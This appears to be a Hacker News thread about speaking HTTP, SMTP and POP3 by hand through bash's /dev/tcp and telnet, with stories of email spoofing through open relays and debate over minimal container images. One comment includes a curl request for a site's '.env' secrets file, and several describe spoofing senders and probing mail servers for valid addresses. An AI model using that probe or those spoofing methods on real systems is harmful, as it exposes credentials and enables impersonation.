For sending a mail message on port 25:
HELO
mail-from: whoever@whatever.com
mail-to: sysadmin@yaya.com
<other headers>
<blank line>
Body of the message yay.
<two blank lines to end>
POP3 was so long ago I forgot but you could list the mailboxes then get individual messages and so on.
This revelation was the beginning of "there is no magic" for me. The realization that every part of the computer was built by human beings and was at some level understandable if one undertook the effort.
Perhaps most people in the future won't bother. They'll just let agents do it all. I'm sure that will leave some interesting holes in various systems for people willing to actually learn how they work without the filter of a model (or its safety rails).
charles_f 22 hours ago [-]
I sent many an email from jacques.chirac@elysee.fr, the veneer of the terminal helping, my friends were quite impressed by how good a hacker I was. Good olde days when many DKIM/SPF weren't a thing yet and SMTP servers weren't even authenticated.
krzyk 8 hours ago [-]
It was quite fun.
But at my first work (begining of 2000s) there was one person that made a fun email, using From of head of company (or was it head of that particular division) to his coworker with congratulations for pay increase and promotion.
It would be all great, but that coworker didn't catch the joke and replied to it (person in the From wasn't amused). Author of the joke was fired (which is not easy thing to do in Europe), some people don't catch jokes.
dhosek 6 hours ago [-]
When I was working at the computing center at University of Illinois at Chicago in the 80s, we found a fairly simple route to spoofing emails from other users through batch jobs on the MVS side of our mainframe. It came crashing to a halt when someone sent a spoofed email from the director to one of the other employees saying that they were fired and to bring their keys to her office immediately. I think the person responsible nearly lost his job over that, but as I recall, the ability to do this was never closed.
cferry 13 hours ago [-]
"Cher compatriote, voici, rédigé avec mes clavier et mulot, mon programme de l'an 2000 que j'ai après la dissolution..."
wing-_-nuts 6 hours ago [-]
I was in the hospital at 13, 7 hours from home, and lonely. They had a councilor there who took pity on me and agreed to let me use her computer to check my email. Only provision was that I couldn't install anything, and couldn't change any settings.
She stood behind me and watched bemused as I fired up telnet, connected to my ISP's pop server and started reading emails from friends. I think I did manage to send some emails back via SMTP but I was not as good with that protocol.
If you could bottle the creativity and enthusiasm of a bored teen, I'm pretty sure you could take over the world
rahimnathwani 24 hours ago [-]
Back in those days not only was there was no DKIM or SPF, most SMTP servers would accept email from anyone anywhere to anyone anywhere (i.e. 'open relay').
xp84 23 hours ago [-]
[ Note: Anyone who has been a geek since the 90s, there's nothing you don't already know here ]
> most SMTP servers would accept email from anyone anywhere to anyone anywhere (i.e. 'open relay').
to date that claim, I'd say that by the late 90s at least, true open relays ("from anyone to anyone") were still numerous but carried a huge assumption of being part of spam operations (willingly or through ineptitude), and the most basic spam filtering would reject mail that came out of one.
That said, (before things like SPF) it was easy enough to deliver email to anyone you wanted even if you didn't have your own real email account and SMTP server; you could just look up the destination's MX and connect to it with telnet like that. Since your own random IP probably wasn't blocklisted it would generally be accepted and delivered.
Back then it was still basically considered bad form to reject email simply because the server didn't know where it was from... sadly, if we were still playing by those rules today, I can only imagine how useless email would be. Now it's definitely guilty-till-proven-innocent.
awesome_dude 15 hours ago [-]
The magic for me, to this day in fact, is knowing that mail is essentially anyone on the internet being allowed to write to a mail servers disk.
There are rules now, but the concept is still almost intact, random people writing to the servers disk - to be later read by someone
soneil 13 hours ago [-]
It used to be even more literally so - network mail started off as using FTP to SNDMSG onto a remote system instead of your own. In RFC475, FTP has MAIL and MLFL (mailfile) commands to support this.
I think it's neat that you can still find echoes of this. MAIL worked by just appending to MLFL, separating records with CRLF.CRLF - which is still how Data segments are terminated in SMTP.
inigyou 11 hours ago [-]
Was that before or after UUCP? I know that UUCP carried a command in each message, so you would specify a message body with a tag that says pass it to the mail receiving peogram.
inopinatus 9 hours ago [-]
This generalises to NNTP, in which anyone writes to everyone and is read by no-one.
the_arun 20 hours ago [-]
With agents in the house now, we don't use curl at all. Slowly they all are becoming implementation details.
VladVladikoff 19 hours ago [-]
Probably curl is safer than whatever cobbled up bash script your agent invented. Battle tested for years, and free, why replace that?
nijave 5 hours ago [-]
Also considering libcurl which is an excellent, feature rich, high performance, and battle tested http client.
cinntaile 16 hours ago [-]
He probably means using curl directly. Indirectly it's still curl the LLM will default to, but that is an implementation detail.
flyingshelf 17 hours ago [-]
Why? Your agents knows rhyme but no reason.
eqmvii 1 days ago [-]
Yep! It’s all just text files. Lots of acronyms in top of lots of ways to generate, send, and read structured text files.
One day I realized even databases were just text files and I had to sit down.
inigyou 11 hours ago [-]
There are also many binary files. Most databases are binary files which are wide trees of some kind (e.g. B-trees, B+trees)
kps 1 days ago [-]
Last century I would read and send personal email from work using telnet to pop3 and smtp respectively.
Joeboy 14 hours ago [-]
I also have a tendency to say "Last century", thinking it comedically suggests "a long time ago" without it actually being that long ago. But as time goes by it obviously becomes legitimately a long time ago, and I suspect young people wouldn't see the attempted irony at all.
benj111 12 hours ago [-]
'last century' 'turn of the century' etc just make me think the 1800s. So I just say last millennium.
Probably get confusing again when people start referring to 'the 20s' not as the 1920s.
vbezhenar 23 hours ago [-]
You can actually do that today. In fact I did that for some time, because I didn't want to configure e-mail client. The only hard thing is HTML. Average HTML e-mail is almost impossible to read and friction to extract it to a file to open in a browser is too much.
bijowo1676 1 days ago [-]
perhaps you meant "in previous millennium" ?
__float 1 days ago [-]
If someone referred to the "previous decade" in 2004, would you have said the same thing?
As the calendar rolled from 1999 to 2000, we entered a new millennium, century, decade, year, day, ...
8n4vidtmkvmk 22 hours ago [-]
Yes, absolutely. I use the largest interval any time I can get away with it!
Every Jan 2 I start saying "last year" and every Dec I say "see you next year"
xeonmc 21 hours ago [-]
Just following alignment rules right?
bijowo1676 21 hours ago [-]
when you compare tech from 1999 and today, it does feel like new millennium tbh
fsckboy 19 hours ago [-]
>As the calendar rolled from 1999 to 2000, we entered a new millennium, century, decade, year, day, ...
no, that all happened when we rolled from 2000 to 2001.
smh, even paedants today aren't what they used to be.
johncoltrane 16 hours ago [-]
The entirety of 1999 and 2000 was a nightmare. "No, buddy, we won't change millenium next january." "Nope. We are still in the 20th century." And so on...
I think that's more or less when I lost faith in humanity.
onraglanroad 6 hours ago [-]
But they were right and you were wrong. Your mistake is in thinking that years are cardinal numbers when they're actually ordinal.
The current year counting was based on the same way years were counted in the past, so you had things like "the 10th year of Caesar's reign". So the year 1 A D. was the first year of Christ's reign.
The year 2000 was the 2000th year of Christ's reign so that's what is celebrated.
Alternatively, you don't really care about that and it's called Common Era now anyway, but in that case it's entirely arbitrary. So either way, calling 2001 the New Millennium is wrong!
account42 13 hours ago [-]
You lost faith in humanity because people disagree about an arbitrary zero offset?
wing-_-nuts 6 hours ago [-]
Excuse me while I crumble to dust...
lavela 4 hours ago [-]
perhaps you meant "in the Holocene"?
chrisbrandow 1 days ago [-]
Presumably the years including 1999 and earlier
vbezhenar 23 hours ago [-]
You can't do that with HTTP/2 (but thankfully every server still talks HTTP/1).
You also can't do that with TLS (and a lot of servers won't talk HTTP other than redirects). openssl s_client instead of telnet might allow you to tunnel text inside TLS, but that feels like a cheating.
And many other modern protocols, sadly, prefer binary encoding, which makes it impossible to tinker with it on wire level, not without specialized tools anyway.
I think people in the future will bother. I tried to make a fire with sticks once, I tried to burn a clay brick, these old things can be a lot of fun and sometimes of real use. If anything, AI actually makes tinkering a lot more easier. You don't need to dig into RFC to check your mail, you can just talk to LLM about it and it'll help you with most typical IMAP commands, for example.
inigyou 11 hours ago [-]
openssl s_client -host google.com -port 443
You're welcome. Works like netcat plus TLS. Kind of inconvenient though. Hey someone should write tlsnc.
linzhangrun 15 hours ago [-]
Nothing to regret. Text Protocol is too inefficient.
account42 13 hours ago [-]
Compared to inefficiencies in the average payload? No, it doesn't really matter.
nico 19 hours ago [-]
It was also cool discovering the ATA commands to drive the modem. You could “war-dial” numbers, or manually initiate Internet connection, or connecting to a bbs
TylerE 9 hours ago [-]
Also memories of making printing work on Linux in the late 90s to some old beast of an HP Laserjet. CUPS exited but was a pain to configure, so I’d just convert whatever I wanted to print to postscript, then
Cat homework.ps > /dev/lp0
ExoticPearTree 12 hours ago [-]
HELO is for SMTP, EHLO for ESMTP. You could access some “advanced” features of the server if you told it you speak ESMTP.
razodactyl 1 days ago [-]
Me too! Writing Winsock and learning WinAPI on XP then Vista. It took me a while to realise Linux was better / OSX was my gateway drug haha
jazz9k 1 days ago [-]
When I was 12, I learned about open SMTP relays and how to spoof email this way. I once spoofed an email between two rivals on a community I was a part of and started a flame war.
Good times.
Denatonium 23 hours ago [-]
When I was in high school in the mid 2010s, Verizon's email-to-SMS gateway didn't verify SPF/DKIM/DMARC, and I had a field day showing my classmates the Viagra ads that Hillary Clinton's "hacked" email server was sending me. In reality, it was an open relay, but Verizon didn't care; they always delivered it anyway.
sejje 1 days ago [-]
I once made an enemy on AOL and he was a spammer--he put my email in the from: field and I got a lot of hostile emails.
But the joke's on him--it led directly to me meeting a lifelong friend & mentor.
globular-toast 17 hours ago [-]
I never figured out you could do it with HTTP, but for some reason I did for FTP and IRC. I don't know why I first tried using a telnet client but I couldn't believe it when the server responded to me!
MuffinFlavored 1 days ago [-]
I must have tried to write the same "perfect" IRC client from scratch in C a dozen times growing up...
lacunary 20 hours ago [-]
any cool features you can share?
alex_smart 16 hours ago [-]
Isn't that the whole point of TCP? Creating a pair of two streams you can read out of and write to out of less reliable network primitives?
I am not sure why this is a revelation. Any college level networking course would cover this?!
reaktivo 15 hours ago [-]
> Any college level networking course would cover this?!
As an actual kid it's easy for it to be a revelation, no? At least it was for me, with no college level networking course experience.
alex_smart 15 hours ago [-]
Sorry my brain somehow missed the literal first three words of the oc.
CGamesPlay 19 hours ago [-]
> Perhaps most people in the future won't bother. They'll just let agents do it all.
But can you imagine the look on some young teen’s face when they train their own GPT on their local computer for the first time?
Coelacanthus 11 hours ago [-]
> This is a bash feature, not POSIX. dash (Debian’s /bin/sh) and zsh don’t have it, so a #!/bin/sh script can’t use it. Call bash directly.
In Plan 9 you did have a real (synthetic) /net, and could do that and more from any program. You could even mount /net from another machine via 9P protocol and have an instant VPN...
9front lets you play with that on Linux.
Some Plan 9 like /net things are visible in Go libraries... (Rob Pike legacy)
equinoxnemesis 9 hours ago [-]
> You could even mount /net from another machine via 9P protocol and have an instant VPN...
HTTP/1.1 200 OK
Date: Tue, 16 Jun 2026 17:37:45 GMT
Content-Type: text/html
...
I always end up on example.com for this kind of thing because there are so few domains these days that don't enforce https!
QuantumNomad_ 1 days ago [-]
example.com is also great for that reason when something fails about a captive portal on a public WiFi.
I open my web browser and go to http://example.com and get redirected to the captive portal page again and retry completing what they need from me to get internet access.
some_random 1 days ago [-]
Fun fact, this is almost exactly how active portal detection is done in the OS/browser!
Plus, it feels nice to depend on the reserved domain name example.com instead of relying on a domain that any one specific corporation has to maintain :D
I remember a while back neverssl.com would happily serve HTTPS requests! Another good alternative is http://httpforever.com/
xp84 23 hours ago [-]
What gives you confidence example.com won't start serving the HTTPS redirect though? There isn't any reason they wouldn't, and given that browsers are clearly tending towards showing big scary warnings to even accessing something over cleartext, I wouldn't be surprised if they flipped that switch just to avoid confusing noobs.
LeoPanthera 1 days ago [-]
I use neverssl.com for this purpose because it is designed to resist caching.
xp84 23 hours ago [-]
I have been using neverssl.com for this same purpose :)
My only concern would be that example.com doesn't promise to never do the 'required SSL' thing.
You can even take out the \r though they should be there
basilikum 1 days ago [-]
> As it turns out, bash can speak HTTP by itself.
No, it can not. Bash lets you open TCP sockets.
What you are doing here is trying to speak HTTP yourself, which is fine for testing and debugging, and hella cool for fun to do by hand, but you will shoot yourself in the foot if you try to use this pseudo http client unattended in reality. This toy code does not parse HTTP properly and will break.
For less insane, non-bash shells there is always nc which is usually probably the wiser choice.
iam-TJ 1 days ago [-]
Need to be clear that "full http server in pure bash" is incorrect. Bash cannot listen on a TCP/UDP socket for incoming connections.
bash-web-server project builds a C language socket listener [0] that is dynamically loaded at run-time as a "built-in" module that makes the functionality available.
By this logic, Linux does not support Wi-Fi, because all the driver modules are "dynamically loaded at run-time."
account42 13 hours ago [-]
No, by any other logic you can implement your Wi-Fi drivers in bash.
zwischenzug 19 hours ago [-]
Pure Linux doesn't.
pastage 16 hours ago [-]
Interesting. I have never heard kernel modules being regarded as non-linux, not in 30 years of LKM. Further compiling a monolithic Kernel is rather straight forward, in this day it is even possible to find wifi devices that do not require a an on device firmware blob uploaded from the kernel.
majorchord 6 hours ago [-]
Same, this whole thread is like the twilight zone for me... I can't tell if I'm losing my mind or all the people with this way of thinking are just being completely unreasonable but I've never seen several people at once agree with such a ridiculous (to me) comment.
Reminds me of the time on libera IRC when someone told me "cloud storage does not exist" because they were hung up on some ultra-purist word definition that nobody else shared.
zwischenzug 14 hours ago [-]
I don't know TBH. It's just that if you're going to have a 'pure' designation for a tech, it's going to be pretty strict (as per bash and adding modules). I've never heard of 'pure' linux, but 'pure' bash has a recognised meaning. If someone said 'pure Linux' and it meant the core without loaded modules I wouldn't be shocked. Not sure how useful it would be, though.
rascul 9 hours ago [-]
> If someone said 'pure Linux' and it meant the core without loaded modules I wouldn't be shocked. Not sure how useful it would be, though.
That probably wouldn't be a useful distinction because almost every module can be built in
Brian_K_White 17 hours ago [-]
Correct. It doesn't.
ranger_danger 6 hours ago [-]
[dead]
mrshu 1 days ago [-]
> No, it can not. Bash lets you open TCP sockets.
Very fair pushback -- I did get carried away and will update the article to be more precise. Thanks for raising it!
> For less insane, non-bash shells there is always nc which is usually probably the wiser choice.
For completeness, `nc` or any netcat equvialent I could think of was not available in the image I was trying this with. It would certainly be a better option though.
bearjaws 1 days ago [-]
This is the most Claude pilled comment I've seen here.
thih9 1 days ago [-]
This worries me. Some AI writing styles became mainstream; at first it was the em-dashes, now it’s “A, not B” patterns and excessive acknowledging. There will be more.
Was grandparent comment written by an LLM?
Or is this a human who copies a style they saw in a blog post, unaware that they’re copying an AI?
Or is this a human who spent too much time talking to an AI and now they just talk like this?
Or is this an organic human response and we’re all paranoid by now?
I don’t know which would be worse.
elevation 1 days ago [-]
When learning a language, I've heard it's good to find a reference speaker, such as a prolific actor, and mimic them in order to absorb several aspects of what makes them sound authentic as a speaker, such as vocabulary, intonation, diction, pacing.
For many in the next generation of language learners, this reference will be Claude.
vbezhenar 23 hours ago [-]
I think that the fact that AI has a very recognizable singular style is a problem. And this problem will be solved, sooner or later. It probably isn't a very important problem, because I feel that it should be relatively easy to solve (but maybe I'm wrong?).
But certainly with smarter AI I do believe it'll become more fluent with choosing more diverse idioms and phrasing, rather than repeating one thing over and over, to a point of being a comically similar. So people who learn on AI-generated text, will not learn from just one recurring style.
pastage 16 hours ago [-]
> It probably isn't a very important problem
The amount of languages are decreasing on the earth, I would also say that dialects and accents are decreasing as well. I think this is a problem.
disqard 1 days ago [-]
Insightful, and scary! Imitating an imitation machine... even if no one is trying to intentionally do so, McLuhan's "we become what we behold" is inescapable.
8bitsout 1 days ago [-]
I'm going to go insane from all of this
eddd-ddde 1 days ago [-]
So? That's literally how language works. The importance is not in the writing style, but in the content of the words.
thfuran 17 hours ago [-]
Those are not separate things.
mrshu 1 days ago [-]
It's pretty rough to learn I sound like Claude. Will need to do something about it then.
(For what it's worth I did write the message above manually but I understand why no one would believe that now. At least I did not call netcat "load-bearing" [https://mareksuppa.com/til/load-bearing/] or something...)
sisve 1 days ago [-]
I did not think you sounded like claude. Then I looked again after the comment was made and then I saw some of the vibes. Like acknowledging a mistake you have done.
Before that would just made you top 5% (or maybe top 1%) of the nicest people to talk too.. know ppl think you are Claude.
We are all going crazy s a sibling comment said.
1 days ago [-]
fc417fc802 23 hours ago [-]
It's wasn't "acknowledging the mistake" it was the phrasing and general structure while doing so.
ffsm8 1 days ago [-]
I know that feeling
I notice myself getting afflicted with llm-isms after a full workday. And I didn't always notice, sometimes I only realize the day after...
Like it slowly siphoned out my soul, which then reconnected with me over night
BearOso 23 hours ago [-]
Avoid the backtick quotes, too. Claude also mistakenly uses them outside of markdown.
ed_elliott_asc 1 days ago [-]
Ok Claude :)
nandomrumber 1 days ago [-]
[dead]
tbossanova 12 hours ago [-]
I’m torn. It’s a great thing to share knowledge and take feedback graciously. Maybe this kind of comment will encourage more of that. But you also need people to tell you what is up without unnecessary filters. It’s a challenge
nialv7 1 days ago [-]
what would be a non-pilled way of saying the same thing?
xeyownt 1 days ago [-]
Yeah. The comments saying it's AI-pilled comments are more annoying and less informative than the comments themselves.
hnlmorg 15 hours ago [-]
Agreed. I really wish Dang would explicitly add that to the rules.
WD-42 1 days ago [-]
Good point however netcat wasn’t available either.
1 days ago [-]
scubbo 1 days ago [-]
FWIW, I didn't read this as AI-like. Even on a re-read, it's only the quasi-em-dash, and _maybe_ the polite acknowledgement of "Very fair pushback" (just good etiquette, IMO!) that would ring any alarm bells. You're fine.
farmerbb 22 hours ago [-]
Not to mention, the typo in the word "equivalent".
throwrioawfo 1 days ago [-]
[flagged]
mrshu 1 days ago [-]
An old habit that unfortunately makes one indistinguishable from LLMs these days...
disqard 1 days ago [-]
I have done the same for many years now, and I feel like it's going to be an annoying false positive for people like us.
I remember when the "hacker vs. cracker" distinction went away because Hollywood co-opted the former and it became de facto "hacker == bad guy"
a-dub 1 days ago [-]
it's not that insane. i've been manually typing http requests in since before http/1.1 and the mandatory host header.
it is insane to use it for anything serious (also the opposite, implementing webservers in bash), but for quick testing it's pretty great!
rascul 9 hours ago [-]
I just want to note that HTTP only existed 5 years without curl or wget.
bitmasher9 1 days ago [-]
Why wouldn’t you use curl for the quick test?
hnav 1 days ago [-]
Sometimes you want to do something that curl cannot express, e.g. timing, protocol oddities, etc. For example you may want to issue a CONNECT to an echo server through a proxy and observe the bytes flowing back and forth. You may want to see what happens when conflicting hop-by-hop headers are specified without worrying about the client's (curl's) interpretation of them. A simple nc -c (or openssl s_client -crlf) lets you do all of that.
Bender 1 days ago [-]
For what it's worth curl can do very detailed timing [1] and it can also do this using a proxy
you can see exactly what's happening. To be fair you can hack curl to support that via
curl -x proxy:3333 telnet://host:12345
but that's not exactly what you want and requires curl to have been compiled with telnet support.
Bender 23 hours ago [-]
Ah, I see what you mean. Aside from putting the proxy into debug logging one would have to use curl -vvv to get similar details but I suppose whatever works best with muscle memory is the right choice and one may not always have access to put the proxy into debug logging.
I need to try this with a Squid SSL Bump MitM proxy just dont have one up at the moment.
curl -vvv -A Mozilla -H "Accept-Language: en_us" -H "Sec-Fetch-Mode: navigate" --url 'https://nochan.net/.env'
a-dub 1 days ago [-]
because in those days there was no curl, or wget. and then when there was, there was no guarantee they'd be installed.
telnet was always there though. it also worked for speaking all the other plaintext internet protocols. (imap, pop, smtp, etc)
dragontamer 1 days ago [-]
Note: Telnet is not completely plaintext and has control characters in the upper byte range (like 0xff or something, I forget).
Use nc or this TCP Bash technique if you really want to ensure decent compatibility when doing hacky solutions, otherwise a random 0xFF somewhere from a terminal console color change (or other control character) might really screw you over.
EDIT or ya know, use the correct tool like Curl.
hadlock 11 hours ago [-]
In the days of ultra thin containers, there's still no guarantee curl or wget will be installed, either.
HeckFeck 1 days ago [-]
I used telnet to send mail via SMTP once, it's quite literally a good social protocol because it begins with a polite 'HELO'.
nativeit 1 days ago [-]
Is it the reply to ‘HELO’ that enables things like tarpits?
Like if my server replied with ‘HI PLEASURE TO MEET YOU 127.0.0.1 THAT NAME SOUNDS FAMILIAR ARE YOU BY CHANCE FROM BOSTON MY MOTHER IS FROM BOSTON WELL QUINCY ACTUALLY BUT DO YOU KNOW 127.0.1.1 THEY ARE A REALLY GOOD FRIEND OF MINE YOU SHOULD MEET I HEAR THEIR DAUGHTER IS A DOCTOR DONTYAKNOW AND YOU COULD…”
etc, etc?
edoceo 23 hours ago [-]
For SMTP tarpits you can do all kinds of fun stuff. Not just in the reply to helo. Like: always be slow to respond. Respond to each command with a temporary error. Accept everything, then pause, then error. Send back large chunks of garbage.
a-dub 1 days ago [-]
the '90s version of finding the hiring manager or boss on linkedin to try and get a job was connecting to the company's public smtp server with telnet, using their name to probe different email address patterns with "rcpt to:" (those days the actual servers were often directly connected to the internet and would leak email address validity in how they would respond to rcpt to) and then sending them a nice email.
smtp grew up to be an antisocial curmudgeon. extended smtp starts with EHLO.
endofreach 1 days ago [-]
> smtp grew up to be an antisocial curmudgeon. extended smtp starts with EHLO.
email will become so unusable, next one will have to be HELNO i guess
jolmg 1 days ago [-]
> smtp grew up to be an antisocial curmudgeon. extended smtp starts with EHLO.
"EHLO" still sounds friendly. It just sounds like a different accent or something. Know someone that used to answer calls with a friendly "Jello?".
xp84 23 hours ago [-]
Eventually Microsoft will debut Microsoft Extended SMTP which will greet with MEHLO
a-dub 1 days ago [-]
yeah, i think you're right. i originally read a bit of snarky blow-off, like "eh?" ... but you know, now that i think of it, it's actually does have more of a friendly canadian style vibe.
asmnzxklopqw 1 days ago [-]
Because curl is not installed in minimal docker images.
xp84 23 hours ago [-]
Sometimes I don't understand why people use those most tiny of images, at least for anything that they might ever ssh into.
When there is no corresponding level of restraint in the libraries that we add to most applications, does it really make a difference to leave out the likes of curl, nano, ping, etc compared to how frustrating it is to operate in just busybox (etc)?
I'm not just ranting, I'd actually like someone who swears by always shipping alpine images (etc) and never installing any basic utilities in them to share their reasoning.
alex_smart 16 hours ago [-]
Less installed things means smaller security surface area, fewer things to patch when CVEs get discovered etc.
Thanks to `kubectl debug`, you don't need to install debugging utilities into your production image.
gear54rus 1 days ago [-]
neither is bash or even sh for that matter :) if you have bash, you probably have apk or apt
mcmoor 21 hours ago [-]
Sometimes I worked in environment that blocks all internet access, but I still need some way to test internal connectivity.
>No, you can't write 10 lines of code, you have to import a 100k LOC dependency
Common misconception, if you want to replace a dependency on a swiss knife you don't need to implement a swiss knife, sometimes you can just implement the last helix of the corkscrew.
cyanydeez 1 days ago [-]
it's curious what you'd be building where you think you can hit the reliability of curl with a bash script.
pillmillipedes 1 days ago [-]
a script ten lines long perhaps?
TZubiri 1 days ago [-]
health check, check that website/webapp returns 4xx and some known keyword
api, GET url, content-type aplication/json, parse json
you can even invert it and make a server
andelink 1 days ago [-]
Nice parameter expansion examples in that bash-web-server. It uses the $_ parameter in ways I hadn’t thought to before, often preceded by a single : ${x} line for pre-processing of the variable.
morpheuskafka 1 days ago [-]
> No, it can not. Bash lets you open TCP sockets.
I thought you had to use a program called netcat for that--if not then what is the point of that binary? And for that matter, can't you also use telnet to manually send HTTP?
some_random 1 days ago [-]
nc is basically just a nicer interface for the same thing, in the same way that curl is.
Where `service` is just the hostname of whatever you’re talking to and 8642 is the port you are trying to talk HTTP to.
Pretty cool!
sevenzero 1 days ago [-]
It seems pretty cool, but I am wondering if there's any drawback on just using images that support curl? I can't think of any and to me it's kinda a must have, even on production images
OptionOfT 1 days ago [-]
I always recommend to not have any dependencies outside of the code.
So we start at compiling the codebase (Rust) against MUSL. That way we can run it with FROM scratch images.
If we need more tooling available at runtime, then we look at alpine, but still using MUSL.
If MUSL itself is proving problematic, or if some of the libraries we use need glibc then we can look at using some locked down image.
The cool part about FROM scratch images is that you'll never have to update your base image to address CVEs. Only your software and its (compiled) dependencies.
xmodem 1 days ago [-]
> The cool part about FROM scratch images is that you'll never have to update your base image to address CVEs. Only your software and its (compiled) dependencies.
What's the benefit really, though? If you still need to be able to rapidly deploy a new image in response to a dependency CVE, what have you gained?
regularfry 1 days ago [-]
You've gained that happening much less frequently. The tradeoff is making every other problem harder to diagnose.
NewJazz 1 days ago [-]
Debug containers are a thing.
Add an ephemeral container to an already running pod, for example to add debugging utilities without restarting the pod.
Yup! They are a good solution to the massive problem you caused for yourself by implementing a different "solution" to a non-problem.
And even that's only true if you assume kubernetes is the only place your container runs where you might want to also debug it.
NewJazz 1 days ago [-]
You want to ship every debug utility you will need in every image? Just seems wasteful. What about 3rd party images, you will respin images just to add your preferred toolset?
xp84 23 hours ago [-]
> every debug utility you will need in every image? Just seems wasteful
How wasteful though? I have to admit, I envy the person whose codebase itself they have to support is so lean and space-conservative that the size of the gnu coreutils, curl, nano, etc., would show up as anything but a rounding error in the image size.
I see it like putting a thermometer in a turkey before I stick it in the oven. Sure, the thermometer adds thermal mass itself, making the turkey take a few seconds longer to cook, but the value of it being there is greater than the cost imposed.
xmodem 1 days ago [-]
Nope, not my position at all. I want to have a minimal OS environment with rudimentary tools available with zero extra friction. FROM alpine:latest adds less than 10MB and covers 95% of use cases. Typically depending on the container I will often throw in curl and some other QoL tools too.
For the rare cases where you find yourself needing to attach a debugger to your pods running in staging/prod, a debug container is absolutely the right tool to reach for.
OptionOfT 1 days ago [-]
If the base image I use is based on Debian, it comes with more than 15 binaries that I don't use.
But when Docker scans my image and notices that there is a CVE in one of those binaries, my image is currently out of compliance.
FROM scratch just reduces the surface.
xmodem 1 days ago [-]
> FROM scratch just reduces the surface.
The actual attack surface of your application? Or the attack surface of you and your team's attention from a busybody security org.
It's important not to confuse the two.
fc417fc802 22 hours ago [-]
Both. Many attacks take the form of an exploit to get a shell, then using available utilities to exploit the kernel to escape to the host. If your image has neither a shell nor utilities that won't get very far.
xmodem 15 hours ago [-]
What percentage of CVEs can be used to obtain a shell, but can't otherwise be used to obtain some other form of code execution in a distro-less container?
fc417fc802 15 hours ago [-]
I haven't run any stats and am certainly not an expert but I would expect quite a few. In the one scenario you merely need to pull off an exec with a valid path. In the other you need to either write a block of memory and mark it as executable or else write your payload out to disk and mark the file executable. So it's the difference between being able to pull off a single syscall versus most likely needing arbitrary code execution.
monkpit 19 hours ago [-]
Important to whom?
xp84 23 hours ago [-]
preface: I'm not asking things rhetorically, I genuinely want to learn here.
> to not have any dependencies outside of the code.
> ... FROM scratch images is that you'll never have to update your base image to address CVEs...
So a FROM scratch image, basically doesn't have things like a package manager to install things, and maybe also libraries that things like curl would depend on? Sorry for my ignorance, I've heard of FROM scratch but never tried them.
OptionOfT 7 hours ago [-]
There is nothing there.
If you want to run as another user, you need to manually add an /etc/group & /etc/password (or generate them in a stage before that and copy them over).
If you need ca-certificates, you need to install ca-certificates in a stage before that and copy over /etc/ssl/certs/ca-certificates.crt from that stage to your current one.
For what its worth, this container used `python:3.12.2-slim-bookworm` and I really would not expect that sort of an image to bundle `curl` -- even if it is intended for production.
TZubiri 1 days ago [-]
You can also use the sockets lib in that case, you depend on POSIX instead of Linux
sevenzero 1 days ago [-]
Ah I see so it was basically a minimal image that bundles just python? I can see why it wouldn't bundle curl! Thought it was a custom Image for some reason, hence my original comment
mrshu 1 days ago [-]
Yes, a very minimal image indeed. Had it been a custom image, curl would be one of the first things I would make sure it contains :)
xmodem 1 days ago [-]
More than one ~500 employee company I've worked at has had security policies either encouraging or requiring the use of "distro-less" images - images with no OS components other than the absolute minimum required to run the application. For go binaries this meant literally nothing in the container apart from the executable.
In theory it has a couple of benefits. You don't have to re-deploy your image to patch CVE's in OS components if you don't have any OS components. And it provides some measure of defence-in-depth - one could certainly theory-craft a scenario where an attacker gains some limited control over your application and then uses some OS component to escalate.
These days if a security engineer is proposing my team adopt distro-less containers to receive these benefits, I would point out that we need to weigh them against the very real drawbacks of not having standard debugging tools available where and when we need them. And also to consider the relative impact of other defence-in-depth measures they could be pursuing instead - such as any sort of network policy to limit network traffic.
NewJazz 1 days ago [-]
Debug containers are a thing.
Add an ephemeral container to an already running pod, for example to add debugging utilities without restarting the pod.
> not having standard debugging tools available where and when we need them
Keeping in mind that containers are merely a bunch of namespaces, there's nothing stopping you from entering the same PID namespace with a different mount namespace in order to debug.
xmodem 15 hours ago [-]
I am aware, thank you :). I responded to a sibling dupe-comment over here [1].
To summarize, in my experience there is immense value to having basic shell tools available in the environment where you need them with zero extra friction. Stripping those out provides a security benefit only in specific nebulous and niche scenarios.
> in my experience there is immense value to having basic shell tools available in the environment where you need them with zero extra friction
I agree, however assuming you maintain a chroot for debugging this can be accomplished with a shell command that takes a single argument to target a running container by name.
Your linked comment suggests being limited to kubernates but nsenter and a chroot are entirely runtime agnostic.
1 days ago [-]
figmert 1 days ago [-]
This of course only supports http, not https. It's great for health checks e.g. in a docker environment. To do https, you'd have to use something like socat, but of course that doesn't use bash only.
TZubiri 1 days ago [-]
Https is almost always terminated separately from the application code.
a012 21 hours ago [-]
It’s handy when you’re troubleshooting issue on a running container which you can’t just rebuild the image and reload
monkpit 1 days ago [-]
You might not have any say on what image is in use, for example, in a cicd library project.
giobox 1 days ago [-]
It's also a two line Dockerfile to add wget or curl to almost any pre-existing container image. This is a fun idea though.
dredmorbius 20 hours ago [-]
Note that this didn't work historically on Debian, and presumably Debian-derived distros, where the virtual file TCP access was disabled by default. The position was reversed (and the capability enabled) in 2009, AFAIU. There's discussion and links in Bug #146464:
As others have mentioned, there are numerous other ways to directly access network features using shell tools, including curl (noted in TFA's title), wget, the HEAD and GET commands (from Perl), netcat (nc), socat, telnet, and I'm quite sure others.
stevefan1999 9 hours ago [-]
Yep. I also learned that too when watching Bauhinia team members' using this to solve a CTF challenge :p It is a multi-series CTF that you get shell from first a ROP chain to system, but you are effectively jailed from running anything but bash, so the only thing you can use is read and cat, and they used the cat /dev/tcp, then redirected it to a pseudo-tty, and read the content of the pseudo-tty in order to get the URL to the inner system. The flag, there it is.
sam_lowry_ 1 days ago [-]
A few years ago I had to do this for a SpringBoot health check from a Docker container:
Note that this is not what the article is about. Bash has a fake /dev/tcp path that opens sockets. What you have there is just perl opening a socket normally. Great solution, but the interesting bit is that fake path.
yread 15 hours ago [-]
Oh man this would have saved me quite some time trying to include curl in my initramfs image with busybox that fires off a request to notify me to login via dropbear to put in the LUKS key. In the end the copy_exec script worked well though and i do have https
drzaiusx11 9 hours ago [-]
Reminds me of my teenage years when I'd echo spooky messages to other folks /dev/pttys to freak them out (messages i sent just magically appeared in their open terminals)
Why they didn't lock those down by using different creds per client in the computer lab I still don't know. Maybe it was a VAX limitation (at the time)?
1vuio0pswjnm7 9 hours ago [-]
"This is not a real HTTP client."
It's a TCP client
curl is an HTTP client
I prefer TCP clients to HTTP clients. Simpler, easier to modify, faster to compile
There are many to choose from. For example, I use a modified version of tcploop
For generating HTTP, I use own utilties. This is more flexible than curl. There are some things curl cannot do, even though it has too many options
mlhpdx 24 hours ago [-]
